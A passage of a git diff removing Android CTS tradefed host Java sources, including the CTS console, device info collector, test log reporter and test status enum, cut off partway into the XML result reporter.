-    public IBuildInfo getBuild() {
-        if (mCtsRootDirPath == null) {
-            throw new IllegalArgumentException("Missing --cts-install-path");
-        }
-        IFolderBuildInfo ctsBuild = new FolderBuildInfo(
-            Package.getPackage(CTS_PACKAGE).getImplementationVersion(),
-            mTestTag, mTestTag);
-        ctsBuild.setRootDir(new File(mCtsRootDirPath));
-        if (mBranch  != null) {
-            ctsBuild.setBuildBranch(mBranch);
-        }
-        return ctsBuild;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public IBuildInfo getBuild(ITestDevice device)
-            throws BuildRetrievalError, DeviceNotAvailableException {
-        if (!mUseDeviceBuildInfo) {
-            // return a regular build info without extracting device attributes into standard
-            // build info fields
-            return getBuild();
-        } else {
-            String buildId = device.getBuildId();
-            String buildFlavor = device.getBuildFlavor();
-            IBuildInfo info = new DeviceBuildInfo(buildId, mTestTag, buildFlavor);
-            if (mBranch == null) {
-                // if branch is not specified via param, make a pseudo branch name based on platform
-                // version and product info from device
-                mBranch = String.format("%s-%s-%s-%s",
-                        device.getProperty("ro.product.brand"),
-                        device.getProperty("ro.product.name"),
-                        device.getProductVariant(),
-                        device.getProperty("ro.build.version.release"));
-            }
-            info.setBuildBranch(mBranch);
-            info.setBuildFlavor(buildFlavor);
-            String buildAlias = device.getBuildAlias();
-            if (RELEASE_BUILD.matcher(buildAlias).matches()) {
-                info.addBuildAttribute("build_alias", buildAlias);
-            }
-            return info;
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void buildNotTested(IBuildInfo info) {
-        // ignore
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void cleanUp(IBuildInfo info) {
-        // ignore
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/command/CtsConsole.java b/tools/tradefed-host/src/com/android/cts/tradefed/command/CtsConsole.java
deleted file mode 100644
index 4cb9e16..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/command/CtsConsole.java
+++ /dev/null
@@ -1,264 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.command;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.tradefed.build.CtsBuildHelper;
-import com.android.cts.tradefed.build.CtsBuildProvider;
-import com.android.cts.tradefed.result.ITestResultRepo;
-import com.android.cts.tradefed.result.ITestSummary;
-import com.android.cts.tradefed.result.PlanCreator;
-import com.android.cts.tradefed.result.TestResultRepo;
-import com.android.cts.tradefed.testtype.ITestPackageRepo;
-import com.android.cts.tradefed.testtype.TestPackageRepo;
-import com.android.tradefed.build.IFolderBuildInfo;
-import com.android.tradefed.command.Console;
-import com.android.tradefed.config.ArgsOptionParser;
-import com.android.tradefed.config.ConfigurationException;
-import com.android.tradefed.util.FileUtil;
-import com.android.tradefed.util.RegexTrie;
-import com.android.tradefed.util.TableFormatter;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.FilenameFilter;
-import java.io.PrintWriter;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-
-/**
- * Specialization of trade federation console that adds CTS commands to list plans and packages.
- */
-public class CtsConsole extends Console {
-
-    protected static final String ADD_PATTERN = "a(?:dd)?";
-
-    private IFolderBuildInfo mBuildInfo = null;
-    private CtsBuildHelper mBuildHelper = null;
-
-    CtsConsole() {
-        super();
-    }
-
-    @Override
-    public void run() {
-        printLine(String.format("Android CTS %s build:%s",
-                CtsBuildProvider.CTS_BUILD_VERSION, getCtsBuildInfo().getBuildId()));
-        super.run();
-    }
-
-    /**
-     * Adds the 'list packages' and 'list plans' commands
-     */
-    @Override
-    protected void setCustomCommands(RegexTrie<Runnable> trie, List<String> genericHelp,
-            Map<String, String> commandHelp) {
-        trie.put(new Runnable() {
-            @Override
-            public void run() {
-                CtsBuildHelper ctsBuild = getCtsBuildHelper();
-                if (ctsBuild != null) {
-                    listPlans(ctsBuild);
-                }
-            }
-        }, LIST_PATTERN, "p(?:lans)?");
-        trie.put(new Runnable() {
-            @Override
-            public void run() {
-                CtsBuildHelper ctsBuild = getCtsBuildHelper();
-                if (ctsBuild != null) {
-                    listPackages(ctsBuild);
-                }
-            }
-        }, LIST_PATTERN, "packages");
-        trie.put(new Runnable() {
-            @Override
-            public void run() {
-                CtsBuildHelper ctsBuild = getCtsBuildHelper();
-                if (ctsBuild != null) {
-                    listResults(ctsBuild);
-                }
-            }
-        }, LIST_PATTERN, "r(?:esults)?");
-
-        // find existing help for 'LIST_PATTERN' commands, and append these commands help
-        String listHelp = commandHelp.get(LIST_PATTERN);
-        if (listHelp == null) {
-            // no help? Unexpected, but soldier on
-            listHelp = new String();
-        }
-        String combinedHelp = listHelp +
-                "\tp[lans]\t\tList all CTS test plans" + LINE_SEPARATOR +
-                "\tpackages\tList all CTS packages" + LINE_SEPARATOR +
-                "\tr[esults]\tList all CTS results" + LINE_SEPARATOR;
-        commandHelp.put(LIST_PATTERN, combinedHelp);
-
-        ArgRunnable<CaptureList> addDerivedCommand = new ArgRunnable<CaptureList>() {
-            @Override
-            public void run(CaptureList args) {
-                // Skip 2 tokens to get past addPattern and "derivedplan"
-                String[] flatArgs = new String[args.size() - 2];
-                for (int i = 2; i < args.size(); i++) {
-                    flatArgs[i - 2] = args.get(i).get(0);
-                }
-                CtsBuildHelper ctsBuild = getCtsBuildHelper();
-                if (ctsBuild != null) {
-                    // FIXME may want to only add certain ABIs
-                    addDerivedPlan(ctsBuild, AbiUtils.getAbisSupportedByCompatibility(), flatArgs);
-                }
-            }
-        };
-        trie.put(addDerivedCommand, ADD_PATTERN, "d(?:erivedplan?)", null);
-        commandHelp.put(ADD_PATTERN, String.format(
-                "%s help:" + LINE_SEPARATOR +
-                "\tderivedplan      Add a derived plan" + LINE_SEPARATOR,
-                ADD_PATTERN));
-    }
-
-    @Override
-    protected String getConsolePrompt() {
-        return "cts-tf > ";
-    }
-
-    @Override
-    protected String getGenericHelpString(List<String> genericHelp) {
-        StringBuilder helpBuilder = new StringBuilder();
-        helpBuilder.append("CTS-tradefed host version ");
-        helpBuilder.append(CtsBuildProvider.CTS_BUILD_VERSION);
-        helpBuilder.append("\n\n");
-        helpBuilder.append("CTS-tradefed is the test harness for running the Android ");
-        helpBuilder.append("Compatibility Suite, built on top of the tradefed framework.\n\n");
-        helpBuilder.append("Available commands and options\n");
-        helpBuilder.append("Host:\n");
-        helpBuilder.append("  help: show this message\n");
-        helpBuilder.append("  help all: show the complete tradefed help\n");
-        helpBuilder.append("  exit: gracefully exit the cts console, waiting till all ");
-        helpBuilder.append("invocations are complete\n");
-        helpBuilder.append("Run:\n");
-        helpBuilder.append("  run cts --plan test_plan_name: run a test plan\n");
-        helpBuilder.append("  run cts --package/-p : run a CTS test package\n");
-        helpBuilder.append("  run cts --class/-c [--method/-m] : run a specific test class and/or");
-        helpBuilder.append("method\n");
-        helpBuilder.append("  run cts --continue-session session_ID: run all not executed ");
-        helpBuilder.append("tests from a previous CTS session\n");
-        helpBuilder.append("  run cts [options] --serial/-s device_ID: run CTS on specified ");
-        helpBuilder.append("device\n");
-        helpBuilder.append("  run cts [options] --shards number_of_shards: shard a CTS run into ");
-        helpBuilder.append("given number of independent chunks, to run on multiple devices in");
-        helpBuilder.append("parallel\n");
-        helpBuilder.append("  run cts --help/--help-all: get more help on running CTS\n");
-        helpBuilder.append("List:\n");
-        helpBuilder.append("  l/list d/devices: list connected devices and their state\n");
-        helpBuilder.append("  l/list packages: list CTS test packages\n");
-        helpBuilder.append("  l/list p/plans: list CTS test plans\n");
-        helpBuilder.append("  l/list i/invocations: list invocations aka CTS test runs currently");
-        helpBuilder.append("in progress\n");
-        helpBuilder.append("  l/list c/commands: list commands: aka CTS test run commands ");
-        helpBuilder.append("currently in the queue waiting to be allocated devices\n");
-        helpBuilder.append("  l/list r/results: list CTS results currently present in the ");
-        helpBuilder.append("repository\n");
-        helpBuilder.append("Add:\n");
-        helpBuilder.append("  add derivedplan --plan plane_name --session/-s session_id -r ");
-        helpBuilder.append("[pass/fail/notExecuted/timeout]: derive a plan from the given ");
-        helpBuilder.append("session\n");
-        helpBuilder.append("Dump:\n");
-        helpBuilder.append("  d/dump l/logs: dump the tradefed logs for all running invocations\n");
-        helpBuilder.append("Options:\n");
-        helpBuilder.append("  --disable-reboot : Do not reboot device after running some amount of tests.\n");
-        return helpBuilder.toString();
-    }
-
-    private void listPlans(CtsBuildHelper ctsBuild) {
-        FilenameFilter xmlFilter = new FilenameFilter() {
-            @Override
-            public boolean accept(File dir, String name) {
-                return name.endsWith(".xml");
-            }
-        };
-        for (File planFile : ctsBuild.getTestPlansDir().listFiles(xmlFilter)) {
-            printLine(FileUtil.getBaseName(planFile.getName()));
-        }
-    }
-
-    private void listPackages(CtsBuildHelper ctsBuild) {
-        ITestPackageRepo testCaseRepo = new TestPackageRepo(ctsBuild.getTestCasesDir(), false);
-        for (String packageName : testCaseRepo.getPackageNames()) {
-            printLine(packageName);
-        }
-    }
-
-    private void listResults(CtsBuildHelper ctsBuild) {
-        TableFormatter tableFormatter = new TableFormatter();
-        List<List<String>> table = new ArrayList<List<String>>();
-        table.add(Arrays.asList("Session","Pass", "Fail","Not Executed","Start time","Plan name",
-                "Device serial(s)"));
-        ITestResultRepo testResultRepo = new TestResultRepo(ctsBuild.getResultsDir());
-        for (ITestSummary result : testResultRepo.getSummaries()) {
-            table.add(Arrays.asList(Integer.toString(result.getId()),
-                    Integer.toString(result.getNumPassed()),
-                    Integer.toString(result.getNumFailed()),
-                    Integer.toString(result.getNumIncomplete()),
-                    result.getTimestamp(),
-                    result.getTestPlan(),
-                    result.getDeviceSerials()));
-        }
-        tableFormatter.displayTable(table, new PrintWriter(System.out, true));
-    }
-
-    private void addDerivedPlan(CtsBuildHelper ctsBuild, Set<String> abis, String[] flatArgs) {
-        PlanCreator creator = new PlanCreator();
-        try {
-            ArgsOptionParser optionParser = new ArgsOptionParser(creator);
-            optionParser.parse(Arrays.asList(flatArgs));
-            creator.createAndSerializeDerivedPlan(ctsBuild, abis);
-        } catch (ConfigurationException e) {
-            printLine("Error: " + e.getMessage());
-            printLine(ArgsOptionParser.getOptionHelp(false, creator));
-        }
-    }
-
-    private IFolderBuildInfo getCtsBuildInfo() {
-        if (mBuildInfo == null) {
-            try {
-                mBuildInfo = (IFolderBuildInfo) new CtsBuildProvider().getBuild();
-            } catch (IllegalArgumentException e) {
-                printLine("Could not find CTS install location: CTS_ROOT env variable not set");
-            }
-        }
-        return mBuildInfo;
-    }
-
-    private CtsBuildHelper getCtsBuildHelper() {
-        if (mBuildHelper == null) {
-            try {
-                mBuildHelper = new CtsBuildHelper(getCtsBuildInfo());
-                mBuildHelper.validateStructure();
-            } catch (FileNotFoundException e) {
-                printLine(String.format("Invalid cts install: %s", e.getMessage()));
-                mBuildHelper = null;
-            }
-        }
-        return mBuildHelper;
-    }
-
-    public static void main(String[] args) throws InterruptedException, ConfigurationException {
-        Console console = new CtsConsole();
-        Console.startConsole(console, args);
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/device/DeviceInfoCollector.java b/tools/tradefed-host/src/com/android/cts/tradefed/device/DeviceInfoCollector.java
deleted file mode 100644
index 0ab70a7..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/device/DeviceInfoCollector.java
+++ /dev/null
@@ -1,165 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.device;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.tradefed.result.CtsXmlResultReporter;
-import com.android.ddmlib.IDevice;
-import com.android.ddmlib.Log;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.build.IFolderBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.testtype.InstrumentationTest;
-
-import java.io.File;
-import java.util.HashSet;
-import java.util.Set;
-
-/**
- * Collects info from device under test.
- * <p/>
- * This class simply serves as a conduit for grabbing info from device using the device info
- * collector apk, and forwarding that data directly to the {@link ITestInvocationListener} as run
- * metrics.
- */
-public class DeviceInfoCollector {
-
-    private static final String LOG_TAG = "DeviceInfoCollector";
-    private static final String APK_NAME = "TestDeviceSetup";
-    public static final String APP_PACKAGE_NAME = "android.tests.devicesetup";
-    private static final String INSTRUMENTATION_NAME = "android.tests.getinfo.DeviceInfoInstrument";
-
-    private static final String EXTENDED_APK_NAME = "CtsDeviceInfo";
-    public static final String EXTENDED_APP_PACKAGE_NAME =
-            "com.android.compatibility.common.deviceinfo";
-    private static final String EXTENDED_INSTRUMENTATION_NAME =
-            "android.support.test.runner.AndroidJUnitRunner";
-    private static final String DEVICE_INFO_FILES = "device-info-files";
-
-    public static final Set<String> IDS = new HashSet<String>();
-    public static final Set<String> EXTENDED_IDS = new HashSet<String>();
-
-    static {
-        for (String abi : AbiUtils.getAbisSupportedByCompatibility()) {
-            IDS.add(AbiUtils.createId(abi, APP_PACKAGE_NAME));
-            EXTENDED_IDS.add(AbiUtils.createId(abi, EXTENDED_APP_PACKAGE_NAME));
-        }
-    }
-
-    /**
-     * Installs and runs the device info collector instrumentation, and forwards results
-     * to the listener.
-     *
-     * @param device
-     * @param listener
-     * @throws DeviceNotAvailableException
-     */
-    public static void collectDeviceInfo(ITestDevice device, String abi, File testApkDir,
-            ITestInvocationListener listener) throws DeviceNotAvailableException {
-        runInstrumentation(device, abi, testApkDir, listener, APK_NAME, APP_PACKAGE_NAME,
-            INSTRUMENTATION_NAME);
-    }
-
-    /**
-     * Installs and runs the extended device info collector instrumentation, and forwards results
-     * to the listener.
-     *
-     * @param device
-     * @param listener
-     * @throws DeviceNotAvailableException
-     */
-    public static void collectExtendedDeviceInfo(ITestDevice device, String abi, File testApkDir,
-            ITestInvocationListener listener, IBuildInfo buildInfo)
-            throws DeviceNotAvailableException {
-        // Clear files in device test result directory
-        String deviceResultDir = getDeviceResultDir(device);
-        device.executeShellCommand(String.format("rm -rf %s", deviceResultDir));
-        runInstrumentation(device, abi, testApkDir, listener, EXTENDED_APK_NAME,
-            EXTENDED_APP_PACKAGE_NAME, EXTENDED_INSTRUMENTATION_NAME);
-        // Copy files in remote result directory to local directory
-        pullExtendedDeviceInfoResults(device, buildInfo);
-    }
-
-    private static void runInstrumentation(ITestDevice device, String abi, File testApkDir,
-            ITestInvocationListener listener, String apkName, String packageName,
-            String instrumentName) throws DeviceNotAvailableException {
-        File apkFile = new File(testApkDir, String.format("%s.apk", apkName));
-        if (!apkFile.exists()) {
-            Log.e(LOG_TAG, String.format("Could not find %s", apkFile.getAbsolutePath()));
-            return;
-        }
-        // collect the instrumentation bundle results using instrumentation test
-        // should work even though no tests will actually be run
-        InstrumentationTest instrTest = new InstrumentationTest();
-        instrTest.setDevice(device);
-        instrTest.setInstallFile(apkFile);
-        // no need to collect tests and re-run
-        instrTest.setRerunMode(false);
-        instrTest.setPackageName(packageName);
-        instrTest.setRunName(AbiUtils.createId(abi, packageName));
-        instrTest.setRunnerName(instrumentName);
-        instrTest.run(listener);
-    }
-
-    private static void pullExtendedDeviceInfoResults(ITestDevice device, IBuildInfo buildInfo)
-            throws DeviceNotAvailableException {
-        if (!(buildInfo instanceof IFolderBuildInfo)) {
-            Log.e(LOG_TAG, "Invalid instance of buildInfo");
-            return;
-        }
-        File localResultDir = new File(buildInfo.getBuildAttributes().get(
-                CtsXmlResultReporter.CTS_RESULT_DIR));
-        if (localResultDir == null || !localResultDir.isDirectory()) {
-            Log.e(LOG_TAG, "Local result directory is null or is not a directory");
-            return;
-        }
-
-        localResultDir = new File(localResultDir, DEVICE_INFO_FILES);
-        localResultDir.mkdirs();
-
-
-        String deviceResultDir = getDeviceResultDir(device);
-
-        // Pull files from device result directory to local result directory
-        String command = String.format("adb -s %s pull %s %s", device.getSerialNumber(),
-                deviceResultDir, localResultDir.getAbsolutePath());
-        if (!execute(command)) {
-            Log.e(LOG_TAG, String.format("Failed to run %s", command));
-        }
-    }
-
-    private static boolean execute(String command) {
-        try {
-            Process p = Runtime.getRuntime().exec(new String[] {"/bin/bash", "-c", command});
-            return (p.waitFor() == 0);
-        } catch (Exception e) {
-            Log.e(LOG_TAG, e);
-            return false;
-        }
-    }
-
-    private static String getDeviceResultDir(ITestDevice device) {
-        String externalStorePath = device.getMountPoint(IDevice.MNT_EXTERNAL_STORAGE);
-        if (externalStorePath == null) {
-            Log.e(LOG_TAG, String.format(
-                    "Failed to get external storage path on device %s", device.getSerialNumber()));
-            return null;
-        }
-        return String.format("%s/%s", externalStorePath, DEVICE_INFO_FILES);
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/AbstractXmlPullParser.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/AbstractXmlPullParser.java
deleted file mode 100644
index c5f1e2d..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/AbstractXmlPullParser.java
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.result;
-
-import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-import org.xmlpull.v1.XmlPullParserFactory;
-
-import java.io.IOException;
-import java.io.Reader;
-
-/**
- * Helper abstract class for XmlPullParser
- *
- * TODO: move to com.android.tradefed.util.xml
- */
-public abstract class AbstractXmlPullParser {
-
-    /**
-     * Parse the summary data from the given input data.
-     *
-     * @param xmlReader the input XML
-     * @throws ParseException if failed to parse the summary data.
-     */
-    public void parse(Reader xmlReader) throws ParseException {
-        try {
-            XmlPullParserFactory fact = org.xmlpull.v1.XmlPullParserFactory.newInstance();
-            XmlPullParser parser = fact.newPullParser();
-            parser.setInput (xmlReader);
-            parse(parser);
-        } catch (XmlPullParserException e) {
-           throw new ParseException(e);
-        } catch (IOException e) {
-            throw new ParseException(e);
-        }
-    }
-
-    abstract void parse(XmlPullParser parser) throws XmlPullParserException, IOException;
-
-    /**
-     * Parse an integer value from an XML attribute
-     *
-     * @param parser the {@link XmlPullParser}
-     * @param name the attribute name
-     * @return the parsed value or 0 if it could not be parsed
-     */
-    protected int parseIntAttr(XmlPullParser parser, String name) {
-        try {
-            String value = parser.getAttributeValue(null, name);
-            if (value != null) {
-                return Integer.parseInt(value);
-            }
-        } catch (NumberFormatException e) {
-            // ignore
-        }
-        return 0;
-    }
-
-    /**
-     * Parse a boolean attribute value
-     */
-    protected boolean parseBooleanAttr(XmlPullParser parser, String name) {
-        String stringValue = parser.getAttributeValue(null, name);
-        return stringValue != null &&
-                Boolean.parseBoolean(stringValue);
-    }
-
-    /**
-     * Helper method for retrieving attribute value with given name
-     *
-     * @param parser the XmlPullParser
-     * @param name the attribute name
-     * @return the attribute value
-     */
-    protected String getAttribute(XmlPullParser parser, String name) {
-        return parser.getAttributeValue(null, name);
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/CtsTestLogReporter.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/CtsTestLogReporter.java
deleted file mode 100644
index 8500d01..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/CtsTestLogReporter.java
+++ /dev/null
@@ -1,184 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.result;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.tradefed.device.DeviceInfoCollector;
-import com.android.ddmlib.Log;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.config.OptionCopier;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.IShardableListener;
-import com.android.tradefed.result.StubTestInvocationListener;
-
-import java.util.Map;
-
-/**
- * Dumps tests in progress to stdout
- */
-public class CtsTestLogReporter extends StubTestInvocationListener implements IShardableListener {
-
-    private static final String DEVICE_INFO_ERROR = "DEVICE_INFO_ERROR_";
-
-    @Option(name = "quiet-output", description = "Mute display of test results.")
-    private boolean mQuietOutput = false;
-
-    protected IBuildInfo mBuildInfo;
-    private String mDeviceSerial;
-    private TestResults mResults = new TestResults();
-    private TestPackageResult mCurrentPkgResult = null;
-    private boolean mIsDeviceInfoRun = false;
-    private boolean mIsExtendedDeviceInfoRun = false;
-
-    @Override
-    public void invocationStarted(IBuildInfo buildInfo) {
-        mDeviceSerial = buildInfo.getDeviceSerial() == null ? "unknown_device" : buildInfo.getDeviceSerial();
-    }
-
-    /**
-     * Reports the start of a test run.
-     *
-     * @param id the unique identifier of this test run, generated by
-     * {@link AbiUtils#createId(String, String)}.
-     * @param numTests total number of tests in test run
-     */
-    @Override
-    public void testRunStarted(String id, int numTests) {
-        if (mCurrentPkgResult != null && !id.equals(mCurrentPkgResult.getId())) {
-            // display results from previous run
-            logCompleteRun(mCurrentPkgResult);
-        }
-        mIsDeviceInfoRun = DeviceInfoCollector.IDS.contains(id);
-        mIsExtendedDeviceInfoRun = DeviceInfoCollector.EXTENDED_IDS.contains(id);
-        if (mIsDeviceInfoRun) {
-            logResult("Collecting device info");
-        } else if (mIsExtendedDeviceInfoRun) {
-            logResult("Collecting extended device info");
-        } else  {
-            if (mCurrentPkgResult == null || !id.equals(mCurrentPkgResult.getId())) {
-                logResult("-----------------------------------------");
-                logResult("Test package %s started", id);
-                logResult("-----------------------------------------");
-            }
-            mCurrentPkgResult = mResults.getOrCreatePackage(id);
-        }
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testStarted(TestIdentifier test) {
-        if (mIsExtendedDeviceInfoRun) {
-            return;
-        }
-        mCurrentPkgResult.insertTest(test);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testFailed(TestIdentifier test, String trace) {
-        if (mIsExtendedDeviceInfoRun) {
-            return;
-        }
-        mCurrentPkgResult.reportTestFailure(test, CtsTestStatus.FAIL, trace);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testAssumptionFailure(TestIdentifier test, String trace) {
-        if (mIsExtendedDeviceInfoRun) {
-            return;
-        }
-        // TODO: do something different here?
-        mCurrentPkgResult.reportTestFailure(test, CtsTestStatus.FAIL, trace);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void testEnded(TestIdentifier test, Map<String, String> testMetrics) {
-        if (mIsExtendedDeviceInfoRun) {
-            for (Map.Entry<String, String> metricsEntry : testMetrics.entrySet()) {
-                String key = metricsEntry.getKey();
-                String value = metricsEntry.getValue();
-                if (key.startsWith(DEVICE_INFO_ERROR)) {
-                    throw new RuntimeException(String.format(
-                        "Error collecting extended device info: %s=%s", key, value));
-                }
-            }
-            return;
-        }
-        mCurrentPkgResult.reportTestEnded(test, testMetrics);
-        Test result = mCurrentPkgResult.findTest(test);
-        String stack = result.getStackTrace() == null ? "" : "\n" + result.getStackTrace();
-        logResult("%s#%s %s %s", test.getClassName(), test.getTestName(), result.getResult(),
-                stack);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void invocationEnded(long elapsedTime) {
-        if (mIsExtendedDeviceInfoRun) {
-            return;
-        }
-        // display the results of the last completed run
-        if (mCurrentPkgResult != null) {
-            logCompleteRun(mCurrentPkgResult);
-        }
-    }
-
-    private void logResult(String format, Object... args) {
-        if (mQuietOutput) {
-            CLog.i(format, args);
-        } else {
-            Log.logAndDisplay(LogLevel.INFO, mDeviceSerial, String.format(format, args));
-        }
-    }
-
-    private void logCompleteRun(TestPackageResult pkgResult) {
-        String appPackageName = pkgResult.getAppPackageName();
-        if (appPackageName.equals(DeviceInfoCollector.APP_PACKAGE_NAME)) {
-            logResult("Device info collection complete");
-            return;
-        } else if (appPackageName.equals(DeviceInfoCollector.EXTENDED_APP_PACKAGE_NAME)) {
-            logResult("Extended device info collection complete");
-            return;
-        }
-        logResult("%s package complete: Passed %d, Failed %d, Not Executed %d",
-                pkgResult.getId(), pkgResult.countTests(CtsTestStatus.PASS),
-                pkgResult.countTests(CtsTestStatus.FAIL),
-                pkgResult.countTests(CtsTestStatus.NOT_EXECUTED));
-    }
-
-    @Override
-    public IShardableListener clone() {
-        CtsTestLogReporter clone = new CtsTestLogReporter();
-        OptionCopier.copyOptionsNoThrow(this, clone);
-        return clone;
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/CtsTestStatus.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/CtsTestStatus.java
deleted file mode 100644
index 76c3770..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/CtsTestStatus.java
+++ /dev/null
@@ -1,57 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-/**
- * An enum of possible test statuses.
- */
-public enum CtsTestStatus {
-    PASS("pass"),
-    FAIL("fail"),
-    NOT_EXECUTED("notExecuted");
-
-    private String mValue;
-
-    CtsTestStatus(String storedValue) {
-        mValue = storedValue;
-    }
-
-    /**
-     * Get the String representation of this test status that should be stored in
-     * xml
-     * @return
-     */
-    String getValue() {
-       return mValue;
-    }
-
-    /**
-     * Find the {@link CtsTestStatus} corresponding to given string value
-     * <p/>
-     * Performs a case insensitive search
-     *
-     * @param value
-     * @return the CtsTestStatus or <code>null</code> if it could not be found
-     */
-    static CtsTestStatus getStatus(String  value) {
-        for (CtsTestStatus status : CtsTestStatus.values()) {
-            if (value.compareToIgnoreCase(status.getValue()) == 0) {
-                return status;
-            }
-        }
-        return null;
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/CtsXmlResultReporter.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/CtsXmlResultReporter.java
deleted file mode 100644
index 07caaef..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/CtsXmlResultReporter.java
+++ /dev/null
@@ -1,550 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.result;
-
-import com.android.cts.tradefed.build.CtsBuildHelper;
-import com.android.cts.tradefed.device.DeviceInfoCollector;
-import com.android.cts.tradefed.testtype.CtsTest;
-import com.android.ddmlib.Log;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.build.IFolderBuildInfo;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.ILogSaver;
-import com.android.tradefed.result.ILogSaverListener;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.result.ITestSummaryListener;
-import com.android.tradefed.result.InputStreamSource;
-import com.android.tradefed.result.LogDataType;
-import com.android.tradefed.result.LogFile;
-import com.android.tradefed.result.LogFileSaver;
-import com.android.tradefed.result.TestSummary;
-import com.android.tradefed.util.FileUtil;
-import com.android.tradefed.util.StreamUtil;
-
-import org.kxml2.io.KXmlSerializer;
-
-import java.io.File;
-import java.io.FileInputStream;
